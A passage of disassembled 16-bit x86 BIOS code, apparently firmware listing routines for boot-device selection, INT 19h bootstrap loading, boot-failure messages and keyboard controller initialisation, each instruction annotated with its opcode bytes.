or ah, 00ch ; 80 cc 0c
jmp near 04c68h ; e9 1e 03
cmp bx, strict byte 00002h ; 83 fb 02
jnbe short 049bbh ; 77 6c
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les si, [bp-00eh] ; c4 76 f2
add si, ax ; 01 c6
mov cl, byte [es:si+025h] ; 26 8a 4c 25
cmp bx, strict byte 00002h ; 83 fb 02
je short 049d3h ; 74 6c
cmp bx, strict byte 00001h ; 83 fb 01
je short 049abh ; 74 3f
test bx, bx ; 85 db
je short 04973h ; 74 03
jmp near 04c28h ; e9 b5 02
cmp cl, 0ffh ; 80 f9 ff
jne short 0498ah ; 75 12
mov ax, word [bp+018h] ; 8b 46 18
xor ah, ah ; 30 e4
or ah, 0b4h ; 80 cc b4
mov word [bp+018h], ax ; 89 46 18
xor al, al ; 30 c0
or AL, strict byte 001h ; 0c 01
jmp near 04c68h ; e9 de 02
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
db 0feh, 0c1h
; inc cl ; fe c1
les bx, [bp-00eh] ; c4 5e f2
add bx, ax ; 01 c3
mov byte [es:bx+025h], cl ; 26 88 4f 25
mov ax, word [bp+018h] ; 8b 46 18
xor al, al ; 30 c0
or AL, strict byte 001h ; 0c 01
mov word [bp+018h], ax ; 89 46 18
jmp short 04970h ; eb c5
test cl, cl ; 84 c9
jne short 049beh ; 75 0f
or bh, 0b0h ; 80 cf b0
mov word [bp+018h], bx ; 89 5e 18
mov byte [bp+018h], cl ; 88 4e 18
jmp near 04c6bh ; e9 b0 02
jmp near 04c60h ; e9 a2 02
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
db 0feh, 0c9h
; dec cl ; fe c9
les bx, [bp-00eh] ; c4 5e f2
add bx, ax ; 01 c3
mov byte [es:bx+025h], cl ; 26 88 4f 25
test cl, cl ; 84 c9
jne short 049e5h ; 75 0e
xor ax, ax ; 31 c0
mov dx, word [bp+018h] ; 8b 56 18
xor dl, dl ; 30 d2
or dx, ax ; 09 c2
mov word [bp+018h], dx ; 89 56 18
jmp short 04970h ; eb 8b
mov ax, strict word 00001h ; b8 01 00
jmp short 049d9h ; eb ef
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les si, [bp-00eh] ; c4 76 f2
add si, ax ; 01 c6
mov cl, byte [es:si+025h] ; 26 8a 4c 25
test cl, cl ; 84 c9
je short 04a07h ; 74 06
or bh, 0b1h ; 80 cf b1
jmp near 047cah ; e9 c3 fd
je short 04a2eh ; 74 25
mov ax, word [bp+018h] ; 8b 46 18
xor ah, ah ; 30 e4
or ah, 0b1h ; 80 cc b1
jmp near 04c68h ; e9 54 02
mov bx, word [bp+00ch] ; 8b 5e 0c
mov cx, word [bp+006h] ; 8b 4e 06
mov si, bx ; 89 de
mov word [bp-00ah], cx ; 89 4e f6
mov es, cx ; 8e c1
mov ax, word [es:bx] ; 26 8b 07
mov word [bp-01eh], ax ; 89 46 e2
cmp ax, strict word 0001ah ; 3d 1a 00
jnc short 04a31h ; 73 05
jmp short 049bbh ; eb 8d
jmp near 04c28h ; e9 f7 01
jc short 04a93h ; 72 60
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les di, [bp-00eh] ; c4 7e f2
add di, ax ; 01 c7
mov ax, word [es:di+028h] ; 26 8b 45 28
mov es, cx ; 8e c1
mov word [es:bx], strict word 0001ah ; 26 c7 07 1a 00
mov word [es:bx+002h], strict word 00074h ; 26 c7 47 02 74 00
mov word [es:bx+004h], strict word 0ffffh ; 26 c7 47 04 ff ff
mov word [es:bx+006h], strict word 0ffffh ; 26 c7 47 06 ff ff
mov word [es:bx+008h], strict word 0ffffh ; 26 c7 47 08 ff ff
mov word [es:bx+00ah], strict word 0ffffh ; 26 c7 47 0a ff ff
mov word [es:bx+00ch], strict word 0ffffh ; 26 c7 47 0c ff ff
mov word [es:bx+00eh], strict word 0ffffh ; 26 c7 47 0e ff ff
mov word [es:bx+018h], ax ; 26 89 47 18
mov word [es:bx+010h], strict word 0ffffh ; 26 c7 47 10 ff ff
mov word [es:bx+012h], strict word 0ffffh ; 26 c7 47 12 ff ff
mov word [es:bx+014h], strict word 0ffffh ; 26 c7 47 14 ff ff
mov word [es:bx+016h], strict word 0ffffh ; 26 c7 47 16 ff ff
cmp word [bp-01eh], strict byte 0001eh ; 83 7e e2 1e
jnc short 04a9ch ; 73 03
jmp near 04b5ch ; e9 c0 00
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:si], strict word 0001eh ; 26 c7 04 1e 00
mov ax, word [bp-018h] ; 8b 46 e8
mov word [es:si+01ch], ax ; 26 89 44 1c
mov word [es:si+01ah], 00356h ; 26 c7 44 1a 56 03
mov cl, byte [bp-008h] ; 8a 4e f8
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
les bx, [bp-00eh] ; c4 5e f2
add bx, ax ; 01 c3
mov ax, word [es:bx+00206h] ; 26 8b 87 06 02
mov di, word [es:bx+00208h] ; 26 8b bf 08 02
mov dl, byte [es:bx+00205h] ; 26 8a 97 05 02
mov byte [bp-006h], dl ; 88 56 fa
mov bx, word [bp-00eh] ; 8b 5e f2
mov word [es:bx+00234h], ax ; 26 89 87 34 02
mov word [es:bx+00236h], di ; 26 89 bf 36 02
mov ax, cx ; 89 c8
cwd ; 99
mov bx, strict word 00002h ; bb 02 00
idiv bx ; f7 fb
or dl, 00eh ; 80 ca 0e
mov CL, strict byte 004h ; b1 04
sal dx, CL ; d3 e2
mov bx, word [bp-00eh] ; 8b 5e f2
mov byte [es:bx+00238h], dl ; 26 88 97 38 02
mov byte [es:bx+00239h], 0cbh ; 26 c6 87 39 02 cb
mov al, byte [bp-006h] ; 8a 46 fa
mov byte [es:bx+0023ah], al ; 26 88 87 3a 02
mov byte [es:bx+0023bh], 001h ; 26 c6 87 3b 02 01
mov byte [es:bx+0023ch], ch ; 26 88 af 3c 02
mov byte [es:bx+0023dh], ch ; 26 88 af 3d 02
mov word [es:bx+0023eh], strict word 00070h ; 26 c7 87 3e 02 70 00
mov word [es:bx+00240h], strict word 00000h ; 26 c7 87 40 02 00 00
mov byte [es:bx+00242h], 011h ; 26 c6 87 42 02 11
xor bl, bl ; 30 db
xor bh, bh ; 30 ff
jmp short 04b3ch ; eb 05
cmp bh, 00fh ; 80 ff 0f
jnc short 04b52h ; 73 16
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
add dx, 00356h ; 81 c2 56 03
mov ax, word [bp-018h] ; 8b 46 e8
call 01652h ; e8 06 cb
add bl, al ; 00 c3
db 0feh, 0c7h
; inc bh ; fe c7
jmp short 04b37h ; eb e5
neg bl ; f6 db
les di, [bp-00eh] ; c4 7e f2
mov byte [es:di+00243h], bl ; 26 88 9d 43 02
cmp word [bp-01eh], strict byte 00042h ; 83 7e e2 42
jnc short 04b65h ; 73 03
jmp near 04c28h ; e9 c3 00
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
les bx, [bp-00eh] ; c4 5e f2
add bx, ax ; 01 c3
mov al, byte [es:bx+00204h] ; 26 8a 87 04 02
mov dx, word [es:bx+00206h] ; 26 8b 97 06 02
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:si], strict word 00042h ; 26 c7 04 42 00
mov word [es:si+01eh], 0beddh ; 26 c7 44 1e dd be
mov word [es:si+020h], strict word 00024h ; 26 c7 44 20 24 00
mov word [es:si+022h], strict word 00000h ; 26 c7 44 22 00 00
test al, al ; 84 c0
jne short 04bafh ; 75 0c
mov word [es:si+024h], 05349h ; 26 c7 44 24 49 53
mov word [es:si+026h], 02041h ; 26 c7 44 26 41 20
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:si+028h], 05441h ; 26 c7 44 28 41 54
mov word [es:si+02ah], 02041h ; 26 c7 44 2a 41 20
mov word [es:si+02ch], 02020h ; 26 c7 44 2c 20 20
mov word [es:si+02eh], 02020h ; 26 c7 44 2e 20 20
test al, al ; 84 c0
jne short 04be4h ; 75 16
mov word [es:si+030h], dx ; 26 89 54 30
mov word [es:si+032h], strict word 00000h ; 26 c7 44 32 00 00
mov word [es:si+034h], strict word 00000h ; 26 c7 44 34 00 00
mov word [es:si+036h], strict word 00000h ; 26 c7 44 36 00 00
mov al, byte [bp-008h] ; 8a 46 f8
and AL, strict byte 001h ; 24 01
xor ah, ah ; 30 e4
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:si+038h], ax ; 26 89 44 38
mov word [es:si+03ah], strict word 00000h ; 26 c7 44 3a 00 00
mov word [es:si+03ch], strict word 00000h ; 26 c7 44 3c 00 00
mov word [es:si+03eh], strict word 00000h ; 26 c7 44 3e 00 00
xor al, al ; 30 c0
mov AH, strict byte 01eh ; b4 1e
jmp short 04c0fh ; eb 05
cmp ah, 040h ; 80 fc 40
jnc short 04c1fh ; 73 10
mov bl, ah ; 88 e3
xor bh, bh ; 30 ff
mov es, [bp-00ah] ; 8e 46 f6
add bx, si ; 01 f3
add al, byte [es:bx] ; 26 02 07
db 0feh, 0c4h
; inc ah ; fe c4
jmp short 04c0ah ; eb eb
neg al ; f6 d8
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:si+041h], al ; 26 88 44 41
mov byte [bp+019h], 000h ; c6 46 19 00
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 29 ca
and byte [bp+01eh], 0feh ; 80 66 1e fe
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
or bh, 006h ; 80 cf 06
mov word [bp+018h], bx ; 89 5e 18
jmp short 04c79h ; eb 2f
cmp bx, strict byte 00006h ; 83 fb 06
je short 04c28h ; 74 d9
cmp bx, strict byte 00001h ; 83 fb 01
jc short 04c60h ; 72 0c
jbe short 04c28h ; 76 d2
cmp bx, strict byte 00003h ; 83 fb 03
jc short 04c60h ; 72 05
cmp bx, strict byte 00004h ; 83 fb 04
jbe short 04c28h ; 76 c8
mov ax, word [bp+018h] ; 8b 46 18
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+018h], ax ; 89 46 18
mov bl, byte [bp+019h] ; 8a 5e 19
xor bh, bh ; 30 ff
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 e7 c9
or byte [bp+01eh], 001h ; 80 4e 1e 01
jmp short 04c3bh ; eb bc
print_boot_device_: ; 0xf4c7f LB 0x51
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
test al, al ; 84 c0
je short 04c8ch ; 74 05
mov dx, strict word 00002h ; ba 02 00
jmp short 04ca6h ; eb 1a
test dl, dl ; 84 d2
je short 04c95h ; 74 05
mov dx, strict word 00003h ; ba 03 00
jmp short 04ca6h ; eb 11
test bl, 080h ; f6 c3 80
jne short 04c9eh ; 75 04
xor dh, dh ; 30 f6
jmp short 04ca6h ; eb 08
test bl, 080h ; f6 c3 80
je short 04ccah ; 74 27
mov dx, strict word 00001h ; ba 01 00
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 82 cc
mov ax, dx ; 89 d0
mov dx, strict word 0000ah ; ba 0a 00
imul dx ; f7 ea
add ax, 00dc6h ; 05 c6 0d
push ax ; 50
mov ax, 00494h ; b8 94 04
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 af cc
add sp, strict byte 00006h ; 83 c4 06
lea sp, [bp-002h] ; 8d 66 fe
pop cx ; 59
pop bp ; 5d
retn ; c3
print_boot_failure_: ; 0xf4cd0 LB 0x9f
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
mov dh, cl ; 88 ce
mov cl, bl ; 88 d9
and cl, 07fh ; 80 e1 7f
xor ch, ch ; 30 ed
mov si, cx ; 89 ce
test al, al ; 84 c0
je short 04d02h ; 74 1f
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 45 cc
mov cx, 00ddah ; b9 da 0d
push cx ; 51
mov cx, 004a8h ; b9 a8 04
push cx ; 51
mov cx, strict word 00004h ; b9 04 00
push cx ; 51
call 01976h ; e8 79 cc
add sp, strict byte 00006h ; 83 c4 06
jmp short 04d4ah ; eb 48
test dl, dl ; 84 d2
je short 04d16h ; 74 10
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 22 cc
mov cx, 00de4h ; b9 e4 0d
jmp short 04cf1h ; eb db
test bl, 080h ; f6 c3 80
je short 04d2ch ; 74 11
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 0d cc
push si ; 56
mov cx, 00dd0h ; b9 d0 0d
jmp short 04d3bh ; eb 0f
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 fc cb
push si ; 56
mov cx, 00dc6h ; b9 c6 0d
push cx ; 51
mov cx, 004bdh ; b9 bd 04
push cx ; 51
mov cx, strict word 00004h ; b9 04 00
push cx ; 51
call 01976h ; e8 2f cc
add sp, strict byte 00008h ; 83 c4 08
cmp byte [bp+004h], 001h ; 80 7e 04 01
jne short 04d67h ; 75 17
test dh, dh ; 84 f6
jne short 04d59h ; 75 05
mov dx, 004d5h ; ba d5 04
jmp short 04d5ch ; eb 03
mov dx, 004ffh ; ba ff 04
push dx ; 52
mov dx, strict word 00007h ; ba 07 00
push dx ; 52
call 01976h ; e8 12 cc
add sp, strict byte 00004h ; 83 c4 04
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
print_cdromboot_failure_: ; 0xf4d6f LB 0x2a
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
mov dx, ax ; 89 c2
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 b1 cb
push dx ; 52
mov dx, 00534h ; ba 34 05
push dx ; 52
mov dx, strict word 00004h ; ba 04 00
push dx ; 52
call 01976h ; e8 e8 cb
add sp, strict byte 00006h ; 83 c4 06
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
_int19_function: ; 0xf4d99 LB 0x28d
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00010h ; 83 ec 10
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 c4 c8
mov bx, ax ; 89 c3
mov di, ax ; 89 c7
mov byte [bp-00ch], 000h ; c6 46 f4 00
mov ax, strict word 0003dh ; b8 3d 00
call 016aeh ; e8 f6 c8
mov dl, al ; 88 c2
xor dh, dh ; 30 f6
mov word [bp-00eh], dx ; 89 56 f2
mov ax, strict word 00038h ; b8 38 00
call 016aeh ; e8 e9 c8
and AL, strict byte 0f0h ; 24 f0
mov byte [bp-010h], al ; 88 46 f0
mov byte [bp-00fh], dh ; 88 76 f1
mov CL, strict byte 004h ; b1 04
mov ax, word [bp-010h] ; 8b 46 f0
sal ax, CL ; d3 e0
or dx, ax ; 09 c2
mov word [bp-00eh], dx ; 89 56 f2
mov ax, strict word 0003ch ; b8 3c 00
call 016aeh ; e8 cf c8
and AL, strict byte 00fh ; 24 0f
xor ah, ah ; 30 e4
mov CL, strict byte 00ch ; b1 0c
sal ax, CL ; d3 e0
or word [bp-00eh], ax ; 09 46 f2
mov dx, 0037dh ; ba 7d 03
mov ax, bx ; 89 d8
call 01652h ; e8 60 c8
test al, al ; 84 c0
je short 04e03h ; 74 0d
mov dx, 0037dh ; ba 7d 03
mov ax, bx ; 89 d8
call 01652h ; e8 54 c8
xor ah, ah ; 30 e4
mov word [bp-00eh], ax ; 89 46 f2
cmp byte [bp+004h], 001h ; 80 7e 04 01
jne short 04e1ah ; 75 11
mov ax, strict word 0003ch ; b8 3c 00
call 016aeh ; e8 9f c8
and AL, strict byte 0f0h ; 24 f0
xor ah, ah ; 30 e4
mov CL, strict byte 004h ; b1 04
sar ax, CL ; d3 f8
call 07e3dh ; e8 23 30
cmp byte [bp+004h], 002h ; 80 7e 04 02
jne short 04e25h ; 75 05
mov CL, strict byte 004h ; b1 04
shr word [bp-00eh], CL ; d3 6e f2
cmp byte [bp+004h], 003h ; 80 7e 04 03
jne short 04e33h ; 75 08
mov al, byte [bp-00dh] ; 8a 46 f3
xor ah, ah ; 30 e4
mov word [bp-00eh], ax ; 89 46 f2
cmp byte [bp+004h], 004h ; 80 7e 04 04
jne short 04e3eh ; 75 05
mov CL, strict byte 00ch ; b1 0c
shr word [bp-00eh], CL ; d3 6e f2
cmp word [bp-00eh], strict byte 00010h ; 83 7e f2 10
jnc short 04e48h ; 73 04
mov byte [bp-00ch], 001h ; c6 46 f4 01
xor al, al ; 30 c0
mov byte [bp-006h], al ; 88 46 fa
mov byte [bp-008h], al ; 88 46 f8
mov byte [bp-00ah], al ; 88 46 f6
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d5 ca
push word [bp-00eh] ; ff 76 f2
mov al, byte [bp+004h] ; 8a 46 04
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00554h ; b8 54 05
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 04 cb
add sp, strict byte 00008h ; 83 c4 08
mov ax, word [bp-00eh] ; 8b 46 f2
and ax, strict word 0000fh ; 25 0f 00
cmp ax, strict word 00002h ; 3d 02 00
jc short 04e8eh ; 72 0e
jbe short 04e9dh ; 76 1b
cmp ax, strict word 00004h ; 3d 04 00
je short 04ebah ; 74 33
cmp ax, strict word 00003h ; 3d 03 00
je short 04eb0h ; 74 24
jmp short 04ee9h ; eb 5b
cmp ax, strict word 00001h ; 3d 01 00
jne short 04ee9h ; 75 56
xor al, al ; 30 c0
mov byte [bp-006h], al ; 88 46 fa
mov byte [bp-008h], al ; 88 46 f8
jmp short 04efdh ; eb 60
mov dx, 0037ch ; ba 7c 03
mov ax, di ; 89 f8
call 01652h ; e8 ad c7
add AL, strict byte 080h ; 04 80
mov byte [bp-006h], al ; 88 46 fa
mov byte [bp-008h], 000h ; c6 46 f8 00
jmp short 04efdh ; eb 4d
mov byte [bp-006h], 000h ; c6 46 fa 00
mov byte [bp-008h], 001h ; c6 46 f8 01
jmp short 04ec4h ; eb 0a
mov byte [bp-00ah], 001h ; c6 46 f6 01
cmp byte [bp-008h], 000h ; 80 7e f8 00
je short 04efdh ; 74 39
call 03e69h ; e8 a2 ef
mov bx, ax ; 89 c3
test AL, strict byte 0ffh ; a8 ff
je short 04ef0h ; 74 23
call 04d6fh ; e8 9f fe
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov bl, byte [bp-006h] ; 8a 5e fa
xor bh, bh ; 30 ff
mov dl, byte [bp-00ah] ; 8a 56 f6
xor dh, dh ; 30 f6
mov al, byte [bp-008h] ; 8a 46 f8
mov cx, strict word 00001h ; b9 01 00
call 04cd0h ; e8 e7 fd
xor ax, ax ; 31 c0
xor dx, dx ; 31 d2
jmp near 0501fh ; e9 2f 01
mov dx, 00372h ; ba 72 03
mov ax, di ; 89 f8
call 0166eh ; e8 76 c7
mov si, ax ; 89 c6
mov byte [bp-006h], bh ; 88 7e fa
cmp byte [bp-00ah], 001h ; 80 7e f6 01
jne short 04f58h ; 75 55
xor si, si ; 31 f6
mov ax, 0e200h ; b8 00 e2
mov es, ax ; 8e c0
cmp word [es:si], 0aa55h ; 26 81 3c 55 aa
jne short 04ed0h ; 75 bf
mov cx, ax ; 89 c1
mov si, word [es:si+01ah] ; 26 8b 74 1a
cmp word [es:si+002h], 0506eh ; 26 81 7c 02 6e 50
jne short 04ed0h ; 75 b1
cmp word [es:si], 05024h ; 26 81 3c 24 50
jne short 04ed0h ; 75 aa
mov bx, word [es:si+00eh] ; 26 8b 5c 0e
mov dx, word [es:bx] ; 26 8b 17
mov ax, word [es:bx+002h] ; 26 8b 47 02
cmp ax, 06568h ; 3d 68 65
jne short 04f5ah ; 75 24
cmp dx, 07445h ; 81 fa 45 74
jne short 04f5ah ; 75 1e
mov bl, byte [bp-006h] ; 8a 5e fa
xor bh, bh ; 30 ff
mov dl, byte [bp-00ah] ; 8a 56 f6
xor dh, dh ; 30 f6
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
call 04c7fh ; e8 31 fd
mov word [bp-014h], strict word 00006h ; c7 46 ec 06 00
mov word [bp-012h], cx ; 89 4e ee
jmp short 04f79h ; eb 21
jmp short 04f7fh ; eb 25
mov bl, byte [bp-006h] ; 8a 5e fa
xor bh, bh ; 30 ff
mov dl, byte [bp-00ah] ; 8a 56 f6
xor dh, dh ; 30 f6
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
call 04c7fh ; e8 13 fd
sti ; fb
mov word [bp-012h], cx ; 89 4e ee
mov es, cx ; 8e c1
mov ax, word [es:si+01ah] ; 26 8b 44 1a
mov word [bp-014h], ax ; 89 46 ec
call far [bp-014h] ; ff 5e ec
jmp near 04ed0h ; e9 51 ff
cmp byte [bp-008h], 000h ; 80 7e f8 00
jne short 04fach ; 75 27
cmp byte [bp-00ah], 000h ; 80 7e f6 00
jne short 04fach ; 75 21
mov si, 007c0h ; be c0 07
mov es, si ; 8e c6
mov dl, byte [bp-006h] ; 8a 56 fa
mov ax, 00201h ; b8 01 02
mov DH, strict byte 000h ; b6 00
mov cx, strict word 00001h ; b9 01 00
db 033h, 0dbh
; xor bx, bx ; 33 db
int 013h ; cd 13
mov ax, strict word 00000h ; b8 00 00
sbb ax, strict byte 00000h ; 83 d8 00
test ax, ax ; 85 c0
je short 04fach ; 74 03
jmp near 04ed0h ; e9 24 ff
cmp byte [bp-006h], 000h ; 80 7e fa 00
je short 04fb6h ; 74 04
xor bl, bl ; 30 db
jmp short 04fb8h ; eb 02
mov BL, strict byte 001h ; b3 01
cmp byte [bp-008h], 000h ; 80 7e f8 00
je short 04fc0h ; 74 02
mov BL, strict byte 001h ; b3 01
xor dx, dx ; 31 d2
mov ax, si ; 89 f0
call 0166eh ; e8 a7 c6
mov di, ax ; 89 c7
mov dx, strict word 00004h ; ba 04 00
mov ax, si ; 89 f0
call 0166eh ; e8 9d c6
cmp di, ax ; 39 c7
je short 04fe6h ; 74 11
test bl, bl ; 84 db
jne short 04ffeh ; 75 25
mov dx, 001feh ; ba fe 01
mov ax, si ; 89 f0
call 0166eh ; e8 8d c6
cmp ax, 0aa55h ; 3d 55 aa
je short 04ffeh ; 74 18
mov al, byte [bp-00ch] ; 8a 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov bl, byte [bp-006h] ; 8a 5e fa
xor bh, bh ; 30 ff
mov dl, byte [bp-00ah] ; 8a 56 f6
xor dh, dh ; 30 f6
mov al, byte [bp-008h] ; 8a 46 f8
xor cx, cx ; 31 c9
jmp near 04ee6h ; e9 e8 fe
mov bl, byte [bp-006h] ; 8a 5e fa
xor bh, bh ; 30 ff
mov dl, byte [bp-00ah] ; 8a 56 f6
xor dh, dh ; 30 f6
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
call 04c7fh ; e8 6f fc
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
xor bx, bx ; 31 db
xor al, al ; 30 c0
add ax, si ; 01 f0
adc dx, bx ; 11 da
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
keyboard_panic_: ; 0xf5026 LB 0x16
push bp ; 55
mov bp, sp ; 89 e5
push ax ; 50
mov ax, 00574h ; b8 74 05
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 41 c9
add sp, strict byte 00006h ; 83 c4 06
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_keyboard_init: ; 0xf503c LB 0x26a
push bp ; 55
mov bp, sp ; 89 e5
mov AL, strict byte 0aah ; b0 aa
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 0505fh ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 0505fh ; 76 08
xor al, al ; 30 c0
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05048h ; eb e9
test bx, bx ; 85 db
jne short 05068h ; 75 05
xor ax, ax ; 31 c0
call 05026h ; e8 be ff
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 05082h ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 05082h ; 76 08
mov AL, strict byte 001h ; b0 01
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 0506bh ; eb e9
test bx, bx ; 85 db
jne short 0508ch ; 75 06
mov ax, strict word 00001h ; b8 01 00
call 05026h ; e8 9a ff
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, strict word 00055h ; 3d 55 00
je short 0509dh ; 74 06
mov ax, 003dfh ; b8 df 03
call 05026h ; e8 89 ff
mov AL, strict byte 0abh ; b0 ab
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 050bdh ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 050bdh ; 76 08
mov AL, strict byte 010h ; b0 10
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 050a6h ; eb e9
test bx, bx ; 85 db
jne short 050c7h ; 75 06
mov ax, strict word 0000ah ; b8 0a 00
call 05026h ; e8 5f ff
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 050e1h ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 050e1h ; 76 08
mov AL, strict byte 011h ; b0 11
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 050cah ; eb e9
test bx, bx ; 85 db
jne short 050ebh ; 75 06
mov ax, strict word 0000bh ; b8 0b 00
call 05026h ; e8 3b ff
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test ax, ax ; 85 c0
je short 050fbh ; 74 06
mov ax, 003e0h ; b8 e0 03
call 05026h ; e8 2b ff
mov AL, strict byte 0ffh ; b0 ff
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 0511bh ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 0511bh ; 76 08
mov AL, strict byte 020h ; b0 20
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05104h ; eb e9
test bx, bx ; 85 db
jne short 05125h ; 75 06
mov ax, strict word 00014h ; b8 14 00
call 05026h ; e8 01 ff
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 0513fh ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 0513fh ; 76 08
mov AL, strict byte 021h ; b0 21
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05128h ; eb e9
test bx, bx ; 85 db
jne short 05149h ; 75 06
mov ax, strict word 00015h ; b8 15 00
call 05026h ; e8 dd fe
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000fah ; 3d fa 00
je short 0515ah ; 74 06
mov ax, 003e1h ; b8 e1 03
call 05026h ; e8 cc fe
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
